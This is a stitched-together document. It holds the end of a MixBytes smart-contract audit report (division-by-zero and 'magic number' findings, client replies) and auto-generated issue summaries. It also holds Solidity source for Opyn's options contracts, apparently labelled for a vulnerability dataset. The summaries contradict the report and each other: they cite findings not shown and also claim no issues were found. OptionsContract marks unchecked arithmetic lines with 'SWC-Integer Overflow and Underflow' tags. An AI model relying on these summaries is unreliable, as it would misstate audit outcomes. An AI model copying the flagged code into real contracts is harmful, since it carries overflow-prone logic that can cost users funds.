ChainlinkOracle.sol#L29 the variable decimals can be equal to zero. CompoundOracle.sol#L49 the variable division and the value _getPrice(collateralSymbol) can be equal to zero. CompoundOracle.sol#L55 the variable division and the value _peekPrice(collateralSymbol) can be equal to zero. SimpleSLPTWAP0Oracle.sol#L62 the variable timeElapsed can be equal to zero. SimpleSLPTWAP0Oracle.sol#L83 the variable timeElapsed can be equal to zero. SimpleSLPTWAP1Oracle.sol#L61 the variable timeElapsed can be equal to zero. SimpleSLPTWAP1Oracle.sol#L82 the variable timeElapsed can be equal to zero. SushiSwapSwapper.sol#L25 the variable denominator can be equal to zero. SushiSwapSwapper.sol#L32 the variable denominator can be equal to zero. RECOMMENDATION We will redo the division operation using the SafeMath Library. CLIENT'S COMMENTARY —   auditor Not fixed everywhere. For example SushiSwapSwapper.sol#L26 or SushiSwapSwapper.sol#L33. 1 22.4COMMENTS CMT-1 Using "magic" numbers File ERC20.sol BentoBox.sol LendingPair.sol SeverityComment Status Fixed at 2a67dd80 DESCRIPTION The use in the source code of some unknown where taken values impair its understanding: At line ERC20.sol#L55 the value is \x19\x01 . At line ERC20.sol#L57 the value is 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9 . At line BentoBox.sol#L171 the value is 0x23b872dd . At line BentoBox.sol#L186 the value is 0xa9059cbb . At line LendingPair.sol#L586 the value is 0xa9059cbb . At lines 178, 389, 398, 503, 546 LendingPair.sol the value is 1e5 . At lines 177, 195, 198, 203 LendingPair.sol the value is 1e18 . At lines 86, 89 LendingPair.sol the value is 0x95d89b41 . At lines 96, 99 LendingPair.sol the value is 0x06fdde03 . At line LendingPair.sol#L106 the value is 0x313ce567 . At line LendingPair.sol#L471 the value is 1e23 . RECOMMENDATION It is recommended that you create constants with meaningful names to use numeric values. CLIENT'S COMMENTARY Our internal audit now includes an item to change any 'magic number' to a constant with a clear name and a comment if needed. 1 3CMT-2 The function returns a public variable File LendingPair.sol SeverityComment Status Fixed at 2a67dd80 DESCRIPTION For the LendingPair.sol#L243 line, the updateExchangeRate() function returns a value. Lines LendingPair.sol#L155 and LendingPair.sol#L457 call this function. But the return value is not processed. The updateExchangeRate() function changes the exchangeRate public variable. There is no need to return a public variable. RECOMMENDATION Change the logic of the updateExchangeRate() function so that it did not return a public variable. CLIENT'S COMMENTARY Nice find! That was just wasting gas, removed. 1 4CMT-3 The function returns a variable, but it is not processed File ISwapper.sol LendingPair.sol SeverityComment Status Acknowledged DESCRIPTION At line ISwapper.sol#L12, the swap() function returns a variable of type uint256 . But after calling this function, there is no processing of the received value. It is found in the following places: At line LendingPair.sol#L428 At line LendingPair.sol#L498 At line LendingPair.sol#L519. RECOMMENDATION Add return value handling or rewrite the function logic so that it did not return a variable. CLIENT'S COMMENTARY This has changed in the current version. 1 5CMT-4 Define symbol and name methods as external File LendingPair.sol SeverityComment Status Fixed at 2a67dd80 DESCRIPTION At the line LendingPair.sol#L85 and LendingPair.sol#L95 methods symbol and name which is expected to be used as external define as public . RECOMMENDATION Define them as external to prevent internal usage. CLIENT'S COMMENTARY Yes! Reviewing visibility of every function/variable is part of our internal audit, going forward we should catch this. 1 6CMT-5 Remove unnecessary comment File LendingPair.sol SeverityComment Status Acknowledged DESCRIPTION At LendingPair.sol#L429 the comment // TODO: Reentrancy issue? Should we take a before and after balance? it is not really needed because it seems there is no re-entrancy issue here. RECOMMENDATION Remove the comment or discuss the problem. CLIENT'S COMMENTARY Checking for reentrancy is something we would love to learn more about. 1 7CMT-6 Forward success status File LendingPair.sol SeverityComment Status Fixed at 2a67dd80 DESCRIPTION At LendingPair.sol#L236 the success variable is got, but not returned at LendingPair.sol#L243. RECOMMENDATION It may be useful for a caller to know if oracle value was really got or the old value was used, so return success, exchangeRate . 1 83.ABOUT MIXBYTES MixBytes is a team of blockchain developers, auditors and analysts keen on decentralized systems. We build open-source solutions, smart contracts and blockchain protocols, perform security audits, work on benchmarking and software testing solutions, do research and tech consultancy. BLOCKCHAINS Ethereum EOS Cosmos SubstrateTECH STACK Python Rust Solidity C++ CONTACTS https://github.com/mixbytes/audits_public https://mixbytes.io/ hello@mixbytes.io https://t.me/MixBytes https://twitter.com/mixbytes 1 9
Issues Count of Minor/Moderate/Major/Critical Minor: 2 Moderate: 1 Major: 1 Critical: 0 Minor Issues 2.a Problem (one line with code reference) CMT-1 Using "magic" numbers (Line 13) 2.b Fix (one line with code reference) Replace magic numbers with named constants (Line 13) Moderate 3.a Problem (one line with code reference) WRN-2 Loss of tokens is possible when sent to a zero address (Line 10) 3.b Fix (one line with code reference) Check the address parameter before sending tokens (Line 10) Major 4.a Problem (one line with code reference) MJR-1 Incorrect events parameter (Line 7) 4.b Fix (one line with code reference) Check the events parameter before emitting (Line 7) Critical None Observations The audit report found two minor issues, one moderate issue, and one major issue. Conclusion The audit report concluded that the BentoBox smart contract is secure and can be used safely. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Manual code study and "Reverse" research and study of the architecture of the code based on the source code only. 2.b Fix: Building an independent view of the project's architecture and Finding logical flaws. Moderate: None Major: None Critical: None Observations: Manual code check for vulnerabilities from the company's internal checklist. The company's checklist is constantly updated based on the analysis of hacks, research and audit of the clients' code. Conclusion: The audit was successful in finding no Minor, Moderate, Major or Critical issues. The audit was successful in finding logical flaws and eliminating typical vulnerabilities. Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 0 Critical: 0 Observations: No issues were found during the audit. Conclusion: The inspected volume includes a set of smart contracts that are part of a new platform that allows users to deposit assets as collateral and borrow other assets against it. The developed functionality differs from the competitors' one. No issues were found during the audit.
pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } }pragma solidity 0.5.10; import "./lib/CompoundOracleInterface.sol"; import "./OptionsUtils.sol"; import "./lib/UniswapFactoryInterface.sol"; import "./lib/UniswapExchangeInterface.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract OptionsExchange is OptionsUtils { uint256 constant LARGE_BLOCK_SIZE = 1651753129000; constructor (address _uniswapFactory, address _compoundOracle) OptionsUtils(_uniswapFactory, _compoundOracle) public { } // TODO: write these functions later function sellPTokens(uint256 _pTokens, address payoutTokenAddress) public { // TODO: first need to boot strap the uniswap exchange to get the address. // uniswap transfer input _pTokens to payoutTokens } // TODO: write these functions later function buyPTokens(uint256 _pTokens, address paymentTokenAddress) public payable { // uniswap transfer output. This transfer enough paymentToken to get desired pTokens. } } pragma solidity 0.5.10; import "./lib/CompoundOracleInterface.sol"; import "./OptionsExchange.sol"; import "./OptionsUtils.sol"; import "./lib/UniswapFactoryInterface.sol"; import "./lib/UniswapExchangeInterface.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title Opyn's Options Contract * @author Opyn */ contract OptionsContract is Ownable, OptionsUtils, ERC20 { using SafeMath for uint256; struct Number { uint256 value; int32 exponent; } // Keeps track of the collateral, debt for each repo. struct Repo { uint256 collateral; uint256 putsOutstanding; address payable owner; } OptionsExchange public optionsExchange; Repo[] public repos; // 10 is 0.01 i.e. 1% incentive. Number liquidationIncentive = Number(10, -3); // 100 is egs. 0.1 i.e. 10%. Number transactionFee = Number(0, -3); /* 500 is 0.5. Max amount that a repo can be liquidated by i.e. max collateral that can be taken in one function call */ Number liquidationFactor = Number(500, -3); /* 1054 is 1.054 i.e. 5.4% liqFee. The fees paid to our protocol every time a liquidation happens */ Number liquidationFee = Number(0, -3); /* 16 means 1.6. The minimum ratio of a repo's collateral to insurance promised. The ratio is calculated as below: repo.collateral / (repo.putsOutstanding * strikePrice) */ Number public collateralizationRatio = Number(16, -1); // The amount of insurance promised per oToken Number public strikePrice; // The amount of underlying that 1 oToken protects. Number public oTokenExchangeRate = Number(1, -18); /* UNIX time. Exercise period starts at `(expiry - windowSize)` and ends at `expiry` */ uint256 windowSize; /* The total collateral withdrawn from the Options Contract every time the exercise function is called */ uint256 totalExercised; /* The total fees accumulated in the contract any time liquidate or exercise is called */ uint256 totalFee; /* The total amount of underlying that is added to the contract during the exercise window. This number can only increase and is only incremented in the exercise function. After expiry, this value is used to calculate the proportion of underlying paid out to the respective repo owners in the claim collateral function */ uint256 totalUnderlying; /* The totalCollateral is only updated on add, remove, liquidate. After expiry, this value is used to calculate the proportion of underlying paid out to the respective repo owner in the claim collateral function. The amount of collateral any repo owner gets back is caluculated as below: repo.collateral / totalCollateral * (totalCollateral - totalExercised) */ uint256 totalCollateral; // The time of expiry of the options contract uint256 public expiry; // The precision of the collateral int32 collateralExp = -18; // The collateral asset IERC20 public collateral; // The asset being protected by the insurance IERC20 public underlying; // The asset in which insurance is denominated in. IERC20 public strike; /** * @param _collateral The collateral asset * @param _collExp The precision of the collateral (-18 if ETH) * @param _underlying The asset that is being protected * @param _oTokenExchangeExp The precision of the `amount of underlying` that 1 oToken protects * @param _strikePrice The amount of strike asset that will be paid out * @param _strikeExp The precision of the strike asset (-18 if ETH) * @param _strike The asset in which the insurance is calculated * @param _expiry The time at which the insurance expires * @param _optionsExchange The contract which interfaces with the exchange + oracle * @param _windowSize UNIX time. Exercise window is from `expiry - _windowSize` to `expiry`. */ constructor( IERC20 _collateral, int32 _collExp, IERC20 _underlying, int32 _oTokenExchangeExp, uint256 _strikePrice, int32 _strikeExp, IERC20 _strike, uint256 _expiry, OptionsExchange _optionsExchange, uint256 _windowSize ) OptionsUtils( address(_optionsExchange.UNISWAP_FACTORY()), address(_optionsExchange.COMPOUND_ORACLE()) ) public { collateral = _collateral; collateralExp = _collExp; underlying = _underlying; oTokenExchangeRate = Number(1, _oTokenExchangeExp); strikePrice = Number(_strikePrice, _strikeExp); strike = _strike; expiry = _expiry; optionsExchange = _optionsExchange; windowSize = _windowSize; } /*** Events ***/ event RepoOpened(uint256 repoIndex, address repoOwner); event ETHCollateralAdded(uint256 repoIndex, uint256 amount, address payer); event ERC20CollateralAdded(uint256 repoIndex, uint256 amount, address payer); event IssuedOTokens(address issuedTo, uint256 oTokensIssued, uint256 repoIndex); event Liquidate (uint256 amtCollateralToPay, uint256 repoIndex, address liquidator); event Exercise (uint256 amtUnderlyingToPay, uint256 amtCollateralToPay, address exerciser); event ClaimedCollateral(uint256 amtCollateralClaimed, uint256 amtUnderlyingClaimed, uint256 repoIndex, address repoOwner); event BurnOTokens (uint256 repoIndex, uint256 oTokensBurned); event TransferRepoOwnership (uint256 repoIndex, address oldOwner, address payable newOwner); event RemoveCollateral (uint256 repoIndex, uint256 amtRemoved, address repoOwner); /** * @notice Can only be called by owner. Used to update the fees, minCollateralizationRatio, etc * @param _liquidationIncentive The incentive paid to liquidator. 10 is 0.01 i.e. 1% incentive. * @param _liquidationFactor Max amount that a repo can be liquidated by. 500 is 0.5. * @param _liquidationFee The fees paid to our protocol every time a liquidation happens. 1054 is 1.054 i.e. 5.4% liqFee. * @param _transactionFee The fees paid to our protocol every time a execution happens. 100 is egs. 0.1 i.e. 10%. * @param _collateralizationRatio The minimum ratio of a repo's collateral to insurance promised. 16 means 1.6. */ function updateParameters( uint256 _liquidationIncentive, uint256 _liquidationFactor, uint256 _liquidationFee, uint256 _transactionFee, uint256 _collateralizationRatio) public onlyOwner { liquidationIncentive.value = _liquidationIncentive; liquidationFactor.value = _liquidationFactor; liquidationFee.value = _liquidationFee; transactionFee.value = _transactionFee; collateralizationRatio.value = _collateralizationRatio; } /** * @notice Can only be called by owner. Used to take out the protocol fees from the contract. * @param _address The address to send the fee to. */ function transferFee(address payable _address) public onlyOwner { uint256 fees = totalFee; totalFee = 0; transferCollateral(_address, fees); } /** * @notice Returns the number of repos in the options contract. */ function numRepos() public returns (uint256) { return repos.length; } /** * @notice Creates a new empty repo and sets the owner of the repo to be the msg.sender. */ function openRepo() public returns (uint) { require(block.timestamp < expiry, "Options contract expired"); repos.push(Repo(0, 0, msg.sender)); uint256 repoIndex = repos.length - 1; emit RepoOpened(repoIndex, msg.sender); return repoIndex; } /** * @notice If the collateral type is ETH, anyone can call this function any time before * expiry to increase the amount of collateral in a repo. Will fail if ETH is not the * collateral asset. * @param repoIndex the index of the repo to which collateral will be added. */ function addETHCollateral(uint256 repoIndex) public payable returns (uint256) { require(isETH(collateral), "ETH is not the specified collateral type"); emit ETHCollateralAdded(repoIndex, msg.value, msg.sender); return _addCollateral(repoIndex, msg.value); } /** * @notice If the collateral type is any ERC20, anyone can call this function any time before * expiry to increase the amount of collateral in a repo. Can only transfer in the collateral asset. * Will fail if ETH is the collateral asset. * @param repoIndex the index of the repo to which collateral will be added. * @param amt the amount of collateral to be transferred in. */ function addERC20Collateral(uint256 repoIndex, uint256 amt) public returns (uint256) { require( collateral.transferFrom(msg.sender, address(this), amt), "Could not transfer in collateral tokens" ); emit ERC20CollateralAdded(repoIndex, amt, msg.sender); return _addCollateral(repoIndex, amt); } /** * @notice Called by anyone holding the oTokens and equal amount of underlying during the * exercise window i.e. from `expiry - windowSize` time to `expiry` time. The caller * transfers in their oTokens and corresponding amount of underlying and gets * `strikePrice * oTokens` amount of collateral out. The collateral paid out is taken from * all repo holders. At the end of the expiry window, repo holders can redeem their proportional * share of collateral based on how much collateral is left after all exercise calls have been made. * @param _oTokens the number of oTokens being exercised. * @dev oTokenExchangeRate is the number of underlying tokens that 1 oToken protects. */ function exercise(uint256 _oTokens) public payable { // 1. before exercise window: revert require(block.timestamp >= expiry - windowSize, "Too early to exercise"); require(block.timestamp < expiry, "Beyond exercise time"); // 2. during exercise window: exercise // 2.1 ensure person calling has enough pTokens require(balanceOf(msg.sender) >= _oTokens, "Not enough pTokens"); // 2.2 check they have corresponding number of underlying (and transfer in) uint256 amtUnderlyingToPay = _oTokens.mul(10 ** underlyingExp()); if (isETH(underlying)) { require(msg.value == amtUnderlyingToPay, "Incorrect msg.value"); } else { require( underlying.transferFrom(msg.sender, address(this), amtUnderlyingToPay), "Could not transfer in tokens" ); } totalUnderlying = totalUnderlying.add(amtUnderlyingToPay); // 2.3 transfer in oTokens _burn(msg.sender, _oTokens); // 2.4 payout enough collateral to get (strikePrice * pTokens + fees) amount of collateral uint256 amtCollateralToPay = calculateCollateralToPay(_oTokens, Number(1, 0)); // 2.5 Fees uint256 amtFee = calculateCollateralToPay(_oTokens, transactionFee); totalFee = totalFee.add(amtFee); totalExercised = totalExercised.add(amtCollateralToPay).add(amtFee); emit Exercise(amtUnderlyingToPay, amtCollateralToPay, msg.sender); // Pay out collateral transferCollateral(msg.sender, amtCollateralToPay); } /** * @notice This function is called to issue the option tokens * @dev The owner of a repo should only be able to have a max of * floor(Collateral * collateralToStrike / (minCollateralizationRatio * strikePrice)) tokens issued. * @param repoIndex The index of the repo to issue tokens from * @param numTokens The number of tokens to issue * @param receiver The address to send the oTokens to */ function issueOTokens (uint256 repoIndex, uint256 numTokens, address receiver) public { //check that we're properly collateralized to mint this number, then call _mint(address account, uint256 amount) require(block.timestamp < expiry, "Options contract expired"); Repo storage repo = repos[repoIndex]; require(msg.sender == repo.owner, "Only owner can issue options"); // checks that the repo is sufficiently collateralized uint256 newNumTokens = repo.putsOutstanding.add(numTokens); require(isSafe(repo.collateral, newNumTokens), "unsafe to mint"); _mint(receiver, numTokens); repo.putsOutstanding = newNumTokens; emit IssuedOTokens(msg.sender, numTokens, repoIndex); return; } /** * @notice Returns an array of indecies of the repos owned by `_owner` * @param _owner the address of the owner */ function getReposByOwner(address _owner) public view returns (uint[] memory) { uint[] memory reposOwned; uint256 count = 0; uint index = 0; // get length necessary for returned array for (uint256 i = 0; i < repos.length; i++) { if(repos[i].owner == _owner){ count += 1; } } reposOwned = new uint[](count); // get each index of each repo owned by given address for (uint256 i = 0; i < repos.length; i++) { if(repos[i].owner == _owner) { reposOwned[index++] = i; } } return reposOwned; } /** * @notice Returns the repo at the given index * @param repoIndex the index of the repo to return */ function getRepoByIndex(uint256 repoIndex) public view returns (uint256, uint256, address) { Repo storage repo = repos[repoIndex]; return ( repo.collateral, repo.putsOutstanding, repo.owner ); } /** * @notice Returns true if the given ERC20 is ETH. * @param _ierc20 the ERC20 asset. */ function isETH(IERC20 _ierc20) public pure returns (bool) { return _ierc20 == IERC20(0); } /** * @notice opens a repo, adds ETH collateral, and mints new oTokens in one step * @param amtToCreate number of oTokens to create * @param receiver address to send the Options to * @return repoIndex */ function createETHCollateralOptionNewRepo(uint256 amtToCreate, address receiver) external payable returns (uint256) { uint256 repoIndex = openRepo(); createETHCollateralOption(amtToCreate, repoIndex, receiver); return repoIndex; } /** * @notice adds ETH collateral, and mints new oTokens in one step * @param amtToCreate number of oTokens to create * @param repoIndex index of the repo to add collateral to * @param receiver address to send the Options to */ function createETHCollateralOption(uint256 amtToCreate, uint256 repoIndex, address receiver) public payable { addETHCollateral(repoIndex); issueOTokens(repoIndex, amtToCreate, receiver); } /** * @notice opens a repo, adds ERC20 collateral, and mints new putTokens in one step * @param amtToCreate number of oTokens to create * @param amtCollateral amount of collateral added * @param receiver address to send the Options to * @return repoIndex */ function createERC20CollateralOptionNewRepo(uint256 amtToCreate, uint256 amtCollateral, address receiver) external returns (uint256) { uint256 repoIndex = openRepo(); createERC20CollateralOption(repoIndex, amtToCreate, amtCollateral, receiver); return repoIndex; } /** * @notice adds ERC20 collateral, and mints new putTokens in one step * @param amtToCreate number of oTokens to create * @param amtCollateral amount of collateral added * @param repoIndex index of the repo to add collateral to * @param receiver address to send the Options to */ function createERC20CollateralOption(uint256 amtToCreate, uint256 amtCollateral, uint256 repoIndex, address receiver) public { addERC20Collateral(repoIndex, amtCollateral); issueOTokens(repoIndex, amtToCreate, receiver); } /** * @notice allows the owner to burn their oTokens to increase the collateralization ratio of * their repo. * @param repoIndex Index of the repo to burn oTokens * @param amtToBurn number of oTokens to burn * @dev only want to call this function before expiry. After expiry, no benefit to calling it. */ function burnOTokens(uint256 repoIndex, uint256 amtToBurn) public { Repo storage repo = repos[repoIndex]; require(repo.owner == msg.sender, "Not the owner of this repo"); repo.putsOutstanding = repo.putsOutstanding.sub(amtToBurn); _burn(msg.sender, amtToBurn); emit BurnOTokens (repoIndex, amtToBurn); } /** * @notice allows the owner to transfer ownership of their repo to someone else * @param repoIndex Index of the repo to be transferred * @param newOwner address of the new owner */ function transferRepoOwnership(uint256 repoIndex, address payable newOwner) public { require(repos[repoIndex].owner == msg.sender, "Cannot transferRepoOwnership as non owner"); repos[repoIndex].owner = newOwner; emit TransferRepoOwnership(repoIndex, msg.sender, newOwner); } /** * @notice allows the owner to remove excess collateral from the repo before expiry. Removing collateral lowers * the collateralization ratio of the repo. * @param repoIndex: Index of the repo to remove collateral * @param amtToRemove: Amount of collateral to remove in 10^-18. */ function removeCollateral(uint256 repoIndex, uint256 amtToRemove) public { require(block.timestamp < expiry, "Can only call remove collateral before expiry"); // check that we are well collateralized enough to remove this amount of collateral Repo storage repo = repos[repoIndex]; require(msg.sender == repo.owner, "Only owner can remove collateral"); require(amtToRemove <= repo.collateral, "Can't remove more collateral than owned"); uint256 newRepoCollateralAmt = repo.collateral.sub(amtToRemove); require(isSafe(newRepoCollateralAmt, repo.putsOutstanding), "Repo is unsafe"); repo.collateral = newRepoCollateralAmt; transferCollateral(msg.sender, amtToRemove); totalCollateral = totalCollateral.sub(amtToRemove); emit RemoveCollateral(repoIndex, amtToRemove, msg.sender); } /** * @notice after expiry, each repo holder can get back their proportional share of collateral * from repos that they own. * @dev The amount of collateral any owner gets back is calculated as: * repo.collateral / totalCollateral * (totalCollateral - totalExercised) * @param repoIndex index of the repo the owner wants to claim collateral from. */ function claimCollateral (uint256 repoIndex) public { require(block.timestamp >= expiry, "Can't collect collateral until expiry"); // pay out people proportional Repo storage repo = repos[repoIndex]; require(msg.sender == repo.owner, "only owner can claim collatera"); uint256 collateralLeft = totalCollateral.sub(totalExercised); uint256 collateralToTransfer = repo.collateral.mul(collateralLeft).div(totalCollateral); uint256 underlyingToTransfer = repo.collateral.mul(totalUnderlying).div(totalCollateral); repo.collateral = 0; emit ClaimedCollateral(collateralToTransfer, underlyingToTransfer, repoIndex, msg.sender); transferCollateral(msg.sender, collateralToTransfer); transferUnderlying(msg.sender, underlyingToTransfer); } /** * @notice This function can be called by anyone if the notice a repo that is undercollateralized. * The caller gets a reward for reducing the amount of oTokens in circulation. * @dev Liquidator comes with _oTokens. They get _oTokens * strikePrice * (incentive + fee) * amount of collateral out. They can liquidate a max of liquidationFactor * repo.collateral out * in one function call i.e. partial liquidations. * @param repoIndex The index of the repo to be liquidated * @param _oTokens The number of oTokens being taken out of circulation */ function liquidate(uint256 repoIndex, uint256 _oTokens) public { // can only be called before the options contract expired require(block.timestamp < expiry, "Options contract expired"); Repo storage repo = repos[repoIndex]; // cannot liquidate a safe repo. require(isUnsafe(repoIndex), "Repo is safe"); // Owner can't liquidate themselves require(msg.sender != repo.owner, "Owner can't liquidate themselves"); uint256 amtCollateral = calculateCollateralToPay(_oTokens, Number(1, 0)); uint256 amtIncentive = calculateCollateralToPay(_oTokens, liquidationIncentive); //SWC-Integer Overflow and Underflow: 510 uint256 amtCollateralToPay = amtCollateral + amtIncentive; // Fees uint256 protocolFee = calculateCollateralToPay(_oTokens, liquidationFee); totalFee = totalFee.add(protocolFee); // calculate the maximum amount of collateral that can be liquidated uint256 maxCollateralLiquidatable = repo.collateral.mul(liquidationFactor.value); if(liquidationFactor.exponent > 0) { maxCollateralLiquidatable = maxCollateralLiquidatable.div(10 ** uint32(liquidationFactor.exponent)); } else { maxCollateralLiquidatable = maxCollateralLiquidatable.div(10 ** uint32(-1 * liquidationFactor.exponent)); } require(amtCollateralToPay.add(protocolFee) <= maxCollateralLiquidatable, "Can only liquidate liquidation factor at any given time"); // deduct the collateral and putsOutstanding repo.collateral = repo.collateral.sub(amtCollateralToPay.add(protocolFee)); repo.putsOutstanding = repo.putsOutstanding.sub(_oTokens); totalCollateral = totalCollateral.sub(amtCollateralToPay.add(protocolFee)); // transfer the collateral and burn the _oTokens _burn(msg.sender, _oTokens); transferCollateral(msg.sender, amtCollateralToPay); emit Liquidate(amtCollateralToPay, repoIndex, msg.sender); } /** * @notice checks if a repo is unsafe. If so, it can be liquidated * @param repoIndex The number of the repo to check * @return true or false */ function isUnsafe(uint256 repoIndex) public view returns (bool) { Repo storage repo = repos[repoIndex]; bool isUnsafe = !isSafe(repo.collateral, repo.putsOutstanding); return isUnsafe; } /** * @notice adds `_amt` collateral to `_repoIndex` and returns the new balance of the repo * @param _repoIndex the index of the repo * @param _amt the amount of collateral to add */ function _addCollateral(uint256 _repoIndex, uint256 _amt) private returns (uint256) { require(block.timestamp < expiry, "Options contract expired"); Repo storage repo = repos[_repoIndex]; repo.collateral = repo.collateral.add(_amt); totalCollateral = totalCollateral.add(_amt); return repo.collateral; } /** * @notice checks if a hypothetical repo is safe with the given collateralAmt and putsOutstanding * @param collateralAmt The amount of collateral the hypothetical repo has * @param putsOutstanding The amount of oTokens generated by the hypothetical repo * @return true or false */ function isSafe(uint256 collateralAmt, uint256 putsOutstanding) internal view returns (bool) { // get price from Oracle uint256 ethToCollateralPrice = getPrice(address(collateral)); uint256 ethToStrikePrice = getPrice(address(strike)); // check `putsOutstanding * collateralizationRatio * strikePrice <= collAmt * collateralToStrikePrice` //SWC-Integer Overflow and Underflow: 583 uint256 leftSideVal = putsOutstanding.mul(collateralizationRatio.value).mul(strikePrice.value); int32 leftSideExp = collateralizationRatio.exponent + strikePrice.exponent; uint256 rightSideVal = (collateralAmt.mul(ethToStrikePrice)).div(ethToCollateralPrice); int32 rightSideExp = collateralExp; uint32 exp = 0; bool isSafe = false; if(rightSideExp < leftSideExp) { exp = uint32(leftSideExp - rightSideExp); isSafe = leftSideVal.mul(10**exp) <= rightSideVal; } else { exp = uint32(rightSideExp - leftSideExp); isSafe = leftSideVal <= rightSideVal.mul(10 ** exp); } return isSafe; } /** * @notice This function calculates the amount of collateral to be paid out. * @dev The amount of collateral to paid out is determined by: * `proportion` * s`trikePrice` * `oTokens` amount of collateral. * @param _oTokens The number of oTokens. * @param proportion The proportion of the collateral to pay out. If 100% of collateral * should be paid out, pass in Number(1, 0). The proportion might be less than 100% if * you are calculating fees. */ function calculateCollateralToPay(uint256 _oTokens, Number memory proportion) internal returns (uint256) { // Get price from oracle uint256 ethToCollateralPrice = getPrice(address(collateral)); uint256 ethToStrikePrice = getPrice(address(strike)); // calculate how much should be paid out uint256 amtCollateralToPayNum = _oTokens.mul(strikePrice.value).mul(proportion.value).mul(ethToCollateralPrice); int32 amtCollateralToPayExp = strikePrice.exponent + proportion.exponent - collateralExp; uint256 amtCollateralToPay = 0; if(amtCollateralToPayExp > 0) { uint32 exp = uint32(amtCollateralToPayExp); amtCollateralToPay = amtCollateralToPayNum.mul(10 ** exp).div(ethToStrikePrice); } else { uint32 exp = uint32(-1 * amtCollateralToPayExp); amtCollateralToPay = (amtCollateralToPayNum.div(10 ** exp)).div(ethToStrikePrice); } return amtCollateralToPay; } /** * @notice This function transfers `amt` collateral to `_addr` * @param _addr The address to send the collateral to * @param _amt The amount of the collateral to pay out. */ function transferCollateral(address payable _addr, uint256 _amt) internal { if (isETH(collateral)){ _addr.transfer(_amt); } else { collateral.transfer(_addr, _amt); } } /** * @notice This function transfers `amt` underlying to `_addr` * @param _addr The address to send the underlying to * @param _amt The amount of the underlying to pay out. */ function transferUnderlying(address payable _addr, uint256 _amt) internal { if (isETH(underlying)){ _addr.transfer(_amt); } else { underlying.transfer(_addr, _amt); } } /** * @notice This function gets the price in ETH (wei) of the asset. * @param asset The address of the asset to get the price of */ function getPrice(address asset) internal view returns (uint256) { if(asset == address(0)) { return (10 ** 18); } else { return COMPOUND_ORACLE.getPrice(asset); } } /** * @notice Returns the differnce in precision in decimals between the * underlying token and the oToken. If the underlying has a precision of 18 digits * and the oTokenExchange is 14 digits of precision, the underlyingExp is 4. */ function underlyingExp() internal returns (uint32) { // TODO: change this to be _oTokenExhangeExp - decimals(underlying) return uint32(oTokenExchangeRate.exponent - (-18)); } function() external payable { // to get ether from uniswap exchanges } } pragma solidity 0.5.10; import "./OptionsContract.sol"; import "./OptionsUtils.sol"; import "./lib/StringComparator.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract OptionsFactory is Ownable { using StringComparator for string; // keys saved in front-end -- look at the docs if needed mapping (string => IERC20) public tokens; address[] public optionsContracts; // The contract which interfaces with the exchange + oracle OptionsExchange public optionsExchange; event OptionsContractCreated(address addr); event AssetAdded(string indexed asset, address indexed addr); event AssetChanged(string indexed asset, address indexed addr); event AssetDeleted(string indexed asset); /** * @param _optionsExchangeAddr: The contract which interfaces with the exchange + oracle */ constructor(OptionsExchange _optionsExchangeAddr) public { optionsExchange = OptionsExchange(_optionsExchangeAddr); } /** * @notice creates a new Option Contract * @param _collateralType The collateral asset. Eg. "ETH" * @param _collateralExp The number of decimals the collateral asset has * @param _underlyingType The underlying asset. Eg. "DAI" * @param _oTokenExchangeExp Units of underlying that 1 oToken protects * @param _strikePrice The amount of strike asset that will be paid out * @param _strikeExp The precision of the strike asset (-18 if ETH) * @param _strikeAsset The asset in which the insurance is calculated * @param _expiry The time at which the insurance expires * @param _windowSize UNIX time. Exercise window is from `expiry - _windowSize` to `expiry`. */ function createOptionsContract( string memory _collateralType, int32 _collateralExp, string memory _underlyingType, int32 _oTokenExchangeExp, uint256 _strikePrice, int32 _strikeExp, string memory _strikeAsset, uint256 _expiry, uint256 _windowSize ) public returns (address) { require(supportsAsset(_collateralType), "Collateral type not supported"); require(supportsAsset(_underlyingType), "Underlying type not supported"); require(supportsAsset(_strikeAsset), "Strike asset type not supported"); OptionsContract optionsContract = new OptionsContract( tokens[_collateralType], _collateralExp, tokens[_underlyingType], _oTokenExchangeExp, _strikePrice, _strikeExp, tokens[_strikeAsset], _expiry, optionsExchange, _windowSize ); optionsContracts.push(address(optionsContract)); emit OptionsContractCreated(address(optionsContract)); // Set the owner for the options contract. optionsContract.transferOwnership(owner()); return address(optionsContract); } /** * @notice The number of Option Contracts that the Factory contract has stored */ function getNumberOfOptionsContracts() public view returns (uint256) { return optionsContracts.length; } /** * @notice The owner of the Factory Contract can add a new asset to be supported * @dev admin don't add ETH. ETH is set to 0x0. * @param _asset The ticker symbol for the asset * @param _addr The address of the asset */ function addAsset(string memory _asset, address _addr) public onlyOwner { require(!supportsAsset(_asset), "Asset already added"); require(_addr != address(0), "Cannot set to address(0)"); tokens[_asset] = IERC20(_addr); emit AssetAdded(_asset, _addr); } /** * @notice The owner of the Factory Contract can change an existing asset's address * @param _asset The ticker symbol for the asset * @param _addr The address of the asset */ function changeAsset(string memory _asset, address _addr) public onlyOwner { require(tokens[_asset] != IERC20(0), "Trying to replace a non-existent asset"); require(_addr != address(0), "Cannot set to address(0)"); tokens[_asset] = IERC20(_addr); emit AssetChanged(_asset, _addr); } /** * @notice The owner of the Factory Contract can delete an existing asset's address * @param _asset The ticker symbol for the asset */ function deleteAsset(string memory _asset) public onlyOwner { require(tokens[_asset] != IERC20(0), "Trying to delete a non-existent asset"); tokens[_asset] = IERC20(0); emit AssetDeleted(_asset); } /** * @notice Check if the Factory contract supports a specific asset * @param _asset The ticker symbol for the asset */ function supportsAsset(string memory _asset) public view returns (bool) { if (_asset.compareStrings("ETH")) { return true; } return tokens[_asset] != 